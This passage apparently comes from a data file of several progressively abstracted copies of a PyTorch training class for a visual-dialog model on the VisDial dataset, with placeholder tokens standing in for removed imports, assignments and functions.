'checkpoints/':\n self.save_dirpath = os.path.join(self.hparams.root_dir, self.\n hparams.save_dirpath)\n self.summary_writer = SummaryWriter(self.save_dirpath)\n self.checkpoint_manager = CheckpointManager(self.model, self.\n optimizer, self.save_dirpath, hparams=self.hparams)\n if self.hparams.load_pthpath == '':\n self.start_epoch = 1\n else:\n self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1]\n [:-4])\n self.start_epoch += 1\n model_state_dict, optimizer_state_dict = load_checkpoint(self.\n hparams.load_pthpath)\n if isinstance(self.model, nn.DataParallel):\n self.model.module.load_state_dict(model_state_dict)\n else:\n self.model.load_state_dict(model_state_dict)\n self.optimizer.load_state_dict(optimizer_state_dict)\n self.previous_model_path = self.hparams.load_pthpath\n print('Loaded model from {}'.format(self.hparams.load_pthpath))\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Setup Training Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _loss_fn(self, epoch, batch, output):\n target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[\n 'ans_out']\n batch_loss = self.criterion(output.view(-1, output.size(-1)),\n target.view(-1).to(self.device))\n return batch_loss\n\n def train(self):\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n evaluation = Evaluation(self.hparams, model=self.model, split='val')\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n running_loss = 0.0\n train_begin = datetime.utcnow()\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n combined_dataloader = itertools.chain(self.train_dataloader)\n print(f'\\nTraining for epoch {epoch}:', 'Total Iter:', self.\n iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n accumulate_batch += batch['img_ids'].shape[0]\n if (self.hparams.virtual_batch_size == accumulate_batch or \n i == len(self.train_dataset) // self.hparams.\n train_batch_size):\n self.optimizer.step()\n if running_loss > 0.0:\n running_loss = (0.95 * running_loss + 0.05 *\n batch_loss.item())\n else:\n running_loss = batch_loss.item()\n self.optimizer.zero_grad()\n accumulate_batch = 0\n self.scheduler.step(global_iteration_step)\n global_iteration_step += 1\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.optimizer\n .param_groups[0]['lr']))\n tqdm_batch_iterator.set_description(description)\n if (global_iteration_step % self.hparams.\n tensorboard_step == 0):\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.\n optimizer.param_groups[0]['lr']))\n self._logger.info(description)\n self.summary_writer.add_scalar('train/loss',\n batch_loss, global_iteration_step)\n self.summary_writer.add_scalar('train/lr', self.\n optimizer.param_groups[0]['lr'],\n global_iteration_step)\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager\n .ckpt_dirpath, 'checkpoint_%d.pth' % epoch)\n self._logger.info(self.previous_model_path)\n if (epoch < self.hparams.num_epochs - 1 and self.hparams.\n dataset_version == '0.9'):\n continue\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path,\n global_iteration_step, self.summary_writer, os.path.join(\n self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %\n epoch))\n torch.cuda.empty_cache()\n return self.previous_model_path\n",
"<import token>\nos.environ['CUDA_VISIBLE_DEVICES'] = '0,1'\n<import token>\n\n\nclass MVAN(object):\n\n def __init__(self, hparams):\n self.hparams = hparams\n self._logger = logging.getLogger(__name__)\n np.random.seed(hparams.random_seed[0])\n torch.manual_seed(hparams.random_seed[0])\n torch.cuda.manual_seed_all(hparams.random_seed[0])\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n self.device = torch.device('cuda', self.hparams.gpu_ids[0]\n ) if self.hparams.gpu_ids[0] >= 0 else torch.device('cpu')\n setproctitle(hparams.dataset_version + '_' + hparams.model_name +\n '_' + str(hparams.random_seed[0]))\n\n def _build_dataloader(self):\n old_split = 'train' if self.hparams.dataset_version == '0.9' else None\n self.train_dataset = VisDialDataset(self.hparams, overfit=self.\n hparams.overfit, split='train', old_split=old_split)\n collate_fn = None\n if 'dan' in self.hparams.img_feature_type:\n collate_fn = self.train_dataset.collate_fn\n self.train_dataloader = DataLoader(self.train_dataset, batch_size=\n self.hparams.train_batch_size, num_workers=self.hparams.\n cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn)\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # DATALOADER FINISHED\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _build_model(self):\n print('\\t* Building model...')\n encoder = Encoder(self.hparams, self.train_dataset.vocabulary)\n decoder = Decoder(self.hparams, self.train_dataset.vocabulary)\n print('Encoder: {}'.format(self.hparams.encoder))\n print('Decoder: {}'.format(self.hparams.decoder))\n if self.hparams.glove_npy != '':\n encoder.word_embed.weight.data = torch.from_numpy(np.load(self.\n hparams.glove_npy))\n print('Loaded glove vectors from {}'.format(self.hparams.glove_npy)\n )\n decoder.word_embed = encoder.word_embed\n self.model = EncoderDecoderModel(encoder, decoder)\n self.model = self.model.to(self.device)\n if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1:\n self.model = nn.DataParallel(self.model, self.hparams.gpu_ids)\n if 'disc' in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss()\n elif 'gen' in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss(ignore_index=self.\n train_dataset.vocabulary.PAD_INDEX)\n if self.hparams.training_splits == 'trainval':\n self.iterations = (len(self.train_dataset) + len(self.\n valid_dataset)) // self.hparams.virtual_batch_size\n else:\n self.iterations = len(self.train_dataset\n ) // self.hparams.virtual_batch_size\n\n def lr_lambda_fun(current_iteration: int) ->float:\n \"\"\"Returns a learning rate multiplier.\n\n Till `warmup_epochs`, learning rate linearly increases to `initial_lr`,\n and then gets multiplied by `lr_gamma` every time a milestone is crossed.\n \"\"\"\n current_epoch = float(current_iteration) / self.iterations\n if current_epoch <= self.hparams.warmup_epochs:\n alpha = current_epoch / float(self.hparams.warmup_epochs)\n return self.hparams.warmup_factor * (1.0 - alpha) + alpha\n else:\n return_val = 1.0\n if current_epoch >= self.hparams.lr_milestones[0\n ] and current_epoch < self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones, current_epoch)\n return_val = pow(self.hparams.lr_gamma, idx)\n elif current_epoch >= self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones2, current_epoch)\n return_val = self.hparams.lr_gamma * pow(self.hparams.\n lr_gamma2, idx)\n return return_val\n if self.hparams.lr_scheduler == 'LambdaLR':\n self.optimizer = optim.Adam(self.model.parameters(), lr=self.\n hparams.initial_lr)\n self.scheduler = lr_scheduler.LambdaLR(self.optimizer,\n lr_lambda=lr_lambda_fun)\n else:\n raise NotImplementedError\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Build Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _setup_training(self):\n if self.hparams.save_dirpath == 'checkpoints/':\n self.save_dirpath = os.path.join(self.hparams.root_dir, self.\n hparams.save_dirpath)\n self.summary_writer = SummaryWriter(self.save_dirpath)\n self.checkpoint_manager = CheckpointManager(self.model, self.\n optimizer, self.save_dirpath, hparams=self.hparams)\n if self.hparams.load_pthpath == '':\n self.start_epoch = 1\n else:\n self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1]\n [:-4])\n self.start_epoch += 1\n model_state_dict, optimizer_state_dict = load_checkpoint(self.\n hparams.load_pthpath)\n if isinstance(self.model, nn.DataParallel):\n self.model.module.load_state_dict(model_state_dict)\n else:\n self.model.load_state_dict(model_state_dict)\n self.optimizer.load_state_dict(optimizer_state_dict)\n self.previous_model_path = self.hparams.load_pthpath\n print('Loaded model from {}'.format(self.hparams.load_pthpath))\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Setup Training Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _loss_fn(self, epoch, batch, output):\n target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[\n 'ans_out']\n batch_loss = self.criterion(output.view(-1, output.size(-1)),\n target.view(-1).to(self.device))\n return batch_loss\n\n def train(self):\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n evaluation = Evaluation(self.hparams, model=self.model, split='val')\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n running_loss = 0.0\n train_begin = datetime.utcnow()\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n combined_dataloader = itertools.chain(self.train_dataloader)\n print(f'\\nTraining for epoch {epoch}:', 'Total Iter:', self.\n iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n accumulate_batch += batch['img_ids'].shape[0]\n if (self.hparams.virtual_batch_size == accumulate_batch or \n i == len(self.train_dataset) // self.hparams.\n train_batch_size):\n self.optimizer.step()\n if running_loss > 0.0:\n running_loss = (0.95 * running_loss + 0.05 *\n batch_loss.item())\n else:\n running_loss = batch_loss.item()\n self.optimizer.zero_grad()\n accumulate_batch = 0\n self.scheduler.step(global_iteration_step)\n global_iteration_step += 1\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.optimizer\n .param_groups[0]['lr']))\n tqdm_batch_iterator.set_description(description)\n if (global_iteration_step % self.hparams.\n tensorboard_step == 0):\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.\n optimizer.param_groups[0]['lr']))\n self._logger.info(description)\n self.summary_writer.add_scalar('train/loss',\n batch_loss, global_iteration_step)\n self.summary_writer.add_scalar('train/lr', self.\n optimizer.param_groups[0]['lr'],\n global_iteration_step)\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager\n .ckpt_dirpath, 'checkpoint_%d.pth' % epoch)\n self._logger.info(self.previous_model_path)\n if (epoch < self.hparams.num_epochs - 1 and self.hparams.\n dataset_version == '0.9'):\n continue\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path,\n global_iteration_step, self.summary_writer, os.path.join(\n self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %\n epoch))\n torch.cuda.empty_cache()\n return self.previous_model_path\n",
"<import token>\n<assignment token>\n<import token>\n\n\nclass MVAN(object):\n\n def __init__(self, hparams):\n self.hparams = hparams\n self._logger = logging.getLogger(__name__)\n np.random.seed(hparams.random_seed[0])\n torch.manual_seed(hparams.random_seed[0])\n torch.cuda.manual_seed_all(hparams.random_seed[0])\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n self.device = torch.device('cuda', self.hparams.gpu_ids[0]\n ) if self.hparams.gpu_ids[0] >= 0 else torch.device('cpu')\n setproctitle(hparams.dataset_version + '_' + hparams.model_name +\n '_' + str(hparams.random_seed[0]))\n\n def _build_dataloader(self):\n old_split = 'train' if self.hparams.dataset_version == '0.9' else None\n self.train_dataset = VisDialDataset(self.hparams, overfit=self.\n hparams.overfit, split='train', old_split=old_split)\n collate_fn = None\n if 'dan' in self.hparams.img_feature_type:\n collate_fn = self.train_dataset.collate_fn\n self.train_dataloader = DataLoader(self.train_dataset, batch_size=\n self.hparams.train_batch_size, num_workers=self.hparams.\n cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn)\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # DATALOADER FINISHED\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _build_model(self):\n print('\\t* Building model...')\n encoder = Encoder(self.hparams, self.train_dataset.vocabulary)\n decoder = Decoder(self.hparams, self.train_dataset.vocabulary)\n print('Encoder: {}'.format(self.hparams.encoder))\n print('Decoder: {}'.format(self.hparams.decoder))\n if self.hparams.glove_npy != '':\n encoder.word_embed.weight.data = torch.from_numpy(np.load(self.\n hparams.glove_npy))\n print('Loaded glove vectors from {}'.format(self.hparams.glove_npy)\n )\n decoder.word_embed = encoder.word_embed\n self.model = EncoderDecoderModel(encoder, decoder)\n self.model = self.model.to(self.device)\n if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1:\n self.model = nn.DataParallel(self.model, self.hparams.gpu_ids)\n if 'disc' in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss()\n elif 'gen' in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss(ignore_index=self.\n train_dataset.vocabulary.PAD_INDEX)\n if self.hparams.training_splits == 'trainval':\n self.iterations = (len(self.train_dataset) + len(self.\n valid_dataset)) // self.hparams.virtual_batch_size\n else:\n self.iterations = len(self.train_dataset\n ) // self.hparams.virtual_batch_size\n\n def lr_lambda_fun(current_iteration: int) ->float:\n \"\"\"Returns a learning rate multiplier.\n\n Till `warmup_epochs`, learning rate linearly increases to `initial_lr`,\n and then gets multiplied by `lr_gamma` every time a milestone is crossed.\n \"\"\"\n current_epoch = float(current_iteration) / self.iterations\n if current_epoch <= self.hparams.warmup_epochs:\n alpha = current_epoch / float(self.hparams.warmup_epochs)\n return self.hparams.warmup_factor * (1.0 - alpha) + alpha\n else:\n return_val = 1.0\n if current_epoch >= self.hparams.lr_milestones[0\n ] and current_epoch < self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones, current_epoch)\n return_val = pow(self.hparams.lr_gamma, idx)\n elif current_epoch >= self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones2, current_epoch)\n return_val = self.hparams.lr_gamma * pow(self.hparams.\n lr_gamma2, idx)\n return return_val\n if self.hparams.lr_scheduler == 'LambdaLR':\n self.optimizer = optim.Adam(self.model.parameters(), lr=self.\n hparams.initial_lr)\n self.scheduler = lr_scheduler.LambdaLR(self.optimizer,\n lr_lambda=lr_lambda_fun)\n else:\n raise NotImplementedError\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Build Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _setup_training(self):\n if self.hparams.save_dirpath == 'checkpoints/':\n self.save_dirpath = os.path.join(self.hparams.root_dir, self.\n hparams.save_dirpath)\n self.summary_writer = SummaryWriter(self.save_dirpath)\n self.checkpoint_manager = CheckpointManager(self.model, self.\n optimizer, self.save_dirpath, hparams=self.hparams)\n if self.hparams.load_pthpath == '':\n self.start_epoch = 1\n else:\n self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1]\n [:-4])\n self.start_epoch += 1\n model_state_dict, optimizer_state_dict = load_checkpoint(self.\n hparams.load_pthpath)\n if isinstance(self.model, nn.DataParallel):\n self.model.module.load_state_dict(model_state_dict)\n else:\n self.model.load_state_dict(model_state_dict)\n self.optimizer.load_state_dict(optimizer_state_dict)\n self.previous_model_path = self.hparams.load_pthpath\n print('Loaded model from {}'.format(self.hparams.load_pthpath))\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Setup Training Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _loss_fn(self, epoch, batch, output):\n target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[\n 'ans_out']\n batch_loss = self.criterion(output.view(-1, output.size(-1)),\n target.view(-1).to(self.device))\n return batch_loss\n\n def train(self):\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n evaluation = Evaluation(self.hparams, model=self.model, split='val')\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n running_loss = 0.0\n train_begin = datetime.utcnow()\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n combined_dataloader = itertools.chain(self.train_dataloader)\n print(f'\\nTraining for epoch {epoch}:', 'Total Iter:', self.\n iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n accumulate_batch += batch['img_ids'].shape[0]\n if (self.hparams.virtual_batch_size == accumulate_batch or \n i == len(self.train_dataset) // self.hparams.\n train_batch_size):\n self.optimizer.step()\n if running_loss > 0.0:\n running_loss = (0.95 * running_loss + 0.05 *\n batch_loss.item())\n else:\n running_loss = batch_loss.item()\n self.optimizer.zero_grad()\n accumulate_batch = 0\n self.scheduler.step(global_iteration_step)\n global_iteration_step += 1\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.optimizer\n .param_groups[0]['lr']))\n tqdm_batch_iterator.set_description(description)\n if (global_iteration_step % self.hparams.\n tensorboard_step == 0):\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.\n optimizer.param_groups[0]['lr']))\n self._logger.info(description)\n self.summary_writer.add_scalar('train/loss',\n batch_loss, global_iteration_step)\n self.summary_writer.add_scalar('train/lr', self.\n optimizer.param_groups[0]['lr'],\n global_iteration_step)\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager\n .ckpt_dirpath, 'checkpoint_%d.pth' % epoch)\n self._logger.info(self.previous_model_path)\n if (epoch < self.hparams.num_epochs - 1 and self.hparams.\n dataset_version == '0.9'):\n continue\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path,\n global_iteration_step, self.summary_writer, os.path.join(\n self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %\n epoch))\n torch.cuda.empty_cache()\n return self.previous_model_path\n",
"<import token>\n<assignment token>\n<import token>\n\n\nclass MVAN(object):\n <function token>\n\n def _build_dataloader(self):\n old_split = 'train' if self.hparams.dataset_version == '0.9' else None\n self.train_dataset = VisDialDataset(self.hparams, overfit=self.\n hparams.overfit, split='train', old_split=old_split)\n collate_fn = None\n if 'dan' in self.hparams.img_feature_type:\n collate_fn = self.train_dataset.collate_fn\n self.train_dataloader = DataLoader(self.train_dataset, batch_size=\n self.hparams.train_batch_size, num_workers=self.hparams.\n cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn)\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # DATALOADER FINISHED\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _build_model(self):\n print('\\t* Building model...')\n encoder = Encoder(self.hparams, self.train_dataset.vocabulary)\n decoder = Decoder(self.hparams, self.train_dataset.vocabulary)\n print('Encoder: {}'.format(self.hparams.encoder))\n print('Decoder: {}'.format(self.hparams.decoder))\n if self.hparams.glove_npy != '':\n encoder.word_embed.weight.data = torch.from_numpy(np.load(self.\n hparams.glove_npy))\n print('Loaded glove vectors from {}'.format(self.hparams.glove_npy)\n )\n decoder.word_embed = encoder.word_embed\n self.model = EncoderDecoderModel(encoder, decoder)\n self.model = self.model.to(self.device)\n if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1:\n self.model = nn.DataParallel(self.model, self.hparams.gpu_ids)\n if 'disc' in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss()\n elif 'gen' in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss(ignore_index=self.\n train_dataset.vocabulary.PAD_INDEX)\n if self.hparams.training_splits == 'trainval':\n self.iterations = (len(self.train_dataset) + len(self.\n valid_dataset)) // self.hparams.virtual_batch_size\n else:\n self.iterations = len(self.train_dataset\n ) // self.hparams.virtual_batch_size\n\n def lr_lambda_fun(current_iteration: int) ->float:\n \"\"\"Returns a learning rate multiplier.\n\n Till `warmup_epochs`, learning rate linearly increases to `initial_lr`,\n and then gets multiplied by `lr_gamma` every time a milestone is crossed.\n \"\"\"\n current_epoch = float(current_iteration) / self.iterations\n if current_epoch <= self.hparams.warmup_epochs:\n alpha = current_epoch / float(self.hparams.warmup_epochs)\n return self.hparams.warmup_factor * (1.0 - alpha) + alpha\n else:\n return_val = 1.0\n if current_epoch >= self.hparams.lr_milestones[0\n ] and current_epoch < self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones, current_epoch)\n return_val = pow(self.hparams.lr_gamma, idx)\n elif current_epoch >= self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones2, current_epoch)\n return_val = self.hparams.lr_gamma * pow(self.hparams.\n lr_gamma2, idx)\n return return_val\n if self.hparams.lr_scheduler == 'LambdaLR':\n self.optimizer = optim.Adam(self.model.parameters(), lr=self.\n hparams.initial_lr)\n self.scheduler = lr_scheduler.LambdaLR(self.optimizer,\n lr_lambda=lr_lambda_fun)\n else:\n raise NotImplementedError\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Build Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _setup_training(self):\n if self.hparams.save_dirpath == 'checkpoints/':\n self.save_dirpath = os.path.join(self.hparams.root_dir, self.\n hparams.save_dirpath)\n self.summary_writer = SummaryWriter(self.save_dirpath)\n self.checkpoint_manager = CheckpointManager(self.model, self.\n optimizer, self.save_dirpath, hparams=self.hparams)\n if self.hparams.load_pthpath == '':\n self.start_epoch = 1\n else:\n self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1]\n [:-4])\n self.start_epoch += 1\n model_state_dict, optimizer_state_dict = load_checkpoint(self.\n hparams.load_pthpath)\n if isinstance(self.model, nn.DataParallel):\n self.model.module.load_state_dict(model_state_dict)\n else:\n self.model.load_state_dict(model_state_dict)\n self.optimizer.load_state_dict(optimizer_state_dict)\n self.previous_model_path = self.hparams.load_pthpath\n print('Loaded model from {}'.format(self.hparams.load_pthpath))\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Setup Training Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _loss_fn(self, epoch, batch, output):\n target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[\n 'ans_out']\n batch_loss = self.criterion(output.view(-1, output.size(-1)),\n target.view(-1).to(self.device))\n return batch_loss\n\n def train(self):\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n evaluation = Evaluation(self.hparams, model=self.model, split='val')\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n running_loss = 0.0\n train_begin = datetime.utcnow()\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n combined_dataloader = itertools.chain(self.train_dataloader)\n print(f'\\nTraining for epoch {epoch}:', 'Total Iter:', self.\n iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n accumulate_batch += batch['img_ids'].shape[0]\n if (self.hparams.virtual_batch_size == accumulate_batch or \n i == len(self.train_dataset) // self.hparams.\n train_batch_size):\n self.optimizer.step()\n if running_loss > 0.0:\n running_loss = (0.95 * running_loss + 0.05 *\n batch_loss.item())\n else:\n running_loss = batch_loss.item()\n self.optimizer.zero_grad()\n accumulate_batch = 0\n self.scheduler.step(global_iteration_step)\n global_iteration_step += 1\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.optimizer\n .param_groups[0]['lr']))\n tqdm_batch_iterator.set_description(description)\n if (global_iteration_step % self.hparams.\n tensorboard_step == 0):\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.\n optimizer.param_groups[0]['lr']))\n self._logger.info(description)\n self.summary_writer.add_scalar('train/loss',\n batch_loss, global_iteration_step)\n self.summary_writer.add_scalar('train/lr', self.\n optimizer.param_groups[0]['lr'],\n global_iteration_step)\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager\n .ckpt_dirpath, 'checkpoint_%d.pth' % epoch)\n self._logger.info(self.previous_model_path)\n if (epoch < self.hparams.num_epochs - 1 and self.hparams.\n dataset_version == '0.9'):\n continue\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path,\n global_iteration_step, self.summary_writer, os.path.join(\n self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %\n epoch))\n torch.cuda.empty_cache()\n return self.previous_model_path\n",
"<import token>\n<assignment token>\n<import token>\n\n\nclass MVAN(object):\n <function token>\n\n def _build_dataloader(self):\n old_split = 'train' if self.hparams.dataset_version == '0.9' else None\n self.train_dataset = VisDialDataset(self.hparams, overfit=self.\n hparams.overfit, split='train', old_split=old_split)\n collate_fn = None\n if 'dan' in self.hparams.img_feature_type:\n collate_fn = self.train_dataset.collate_fn\n self.train_dataloader = DataLoader(self.train_dataset, batch_size=\n self.hparams.train_batch_size, num_workers=self.hparams.\n cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn)\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # DATALOADER FINISHED\n # -------------------------------------------------------------------------\n \"\"\"\n )\n <function token>\n\n def _setup_training(self):\n if self.hparams.save_dirpath == 'checkpoints/':\n self.save_dirpath = os.path.join(self.hparams.root_dir, self.\n hparams.save_dirpath)\n self.summary_writer = SummaryWriter(self.save_dirpath)\n self.checkpoint_manager = CheckpointManager(self.model, self.\n optimizer, self.save_dirpath, hparams=self.hparams)\n if self.hparams.load_pthpath == '':\n self.start_epoch = 1\n else:\n self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1]\n [:-4])\n self.start_epoch += 1\n model_state_dict, optimizer_state_dict = load_checkpoint(self.\n hparams.load_pthpath)\n if isinstance(self.model, nn.DataParallel):\n self.model.module.load_state_dict(model_state_dict)\n else:\n self.model.load_state_dict(model_state_dict)\n self.optimizer.load_state_dict(optimizer_state_dict)\n self.previous_model_path = self.hparams.load_pthpath\n print('Loaded model from {}'.format(self.hparams.load_pthpath))\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Setup Training Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _loss_fn(self, epoch, batch, output):\n target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[\n 'ans_out']\n batch_loss = self.criterion(output.view(-1, output.size(-1)),\n target.view(-1).to(self.device))\n return batch_loss\n\n def train(self):\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n evaluation = Evaluation(self.hparams, model=self.model, split='val')\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n running_loss = 0.0\n train_begin = datetime.utcnow()\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n combined_dataloader = itertools.chain(self.train_dataloader)\n print(f'\\nTraining for epoch {epoch}:', 'Total Iter:', self.\n iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n accumulate_batch += batch['img_ids'].shape[0]\n if (self.hparams.virtual_batch_size == accumulate_batch or \n i == len(self.train_dataset) // self.hparams.\n train_batch_size):\n self.optimizer.step()\n if running_loss > 0.0:\n running_loss = (0.95 * running_loss + 0.05 *\n batch_loss.item())\n else:\n running_loss = batch_loss.item()\n self.optimizer.zero_grad()\n accumulate_batch = 0\n self.scheduler.step(global_iteration_step)\n global_iteration_step += 1\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.optimizer\n .param_groups[0]['lr']))\n tqdm_batch_iterator.set_description(description)\n if (global_iteration_step % self.hparams.\n tensorboard_step == 0):\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.\n optimizer.param_groups[0]['lr']))\n self._logger.info(description)\n 